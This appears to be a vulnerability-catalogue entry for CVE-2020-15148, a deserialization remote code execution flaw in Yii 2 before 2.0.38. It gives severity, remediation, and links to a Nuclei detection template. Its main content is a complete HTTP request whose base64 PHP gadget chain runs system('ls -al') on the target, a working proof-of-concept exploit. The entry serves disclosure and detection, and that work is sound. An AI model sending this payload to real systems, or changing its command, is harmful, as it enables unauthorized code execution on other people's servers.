| Title | Yii 2 < 2.0.38 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory. |
| CVSS Score | 10 |
| EPSS Score | 0.93433 |
| CVE ID | CVE-2020-15148 |
| CWE ID | CWE-502 |
| Tags | cve cve2020 rce yii yiiframework vuln |
Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input.
GET /index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ== HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15148.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-15148.pcap
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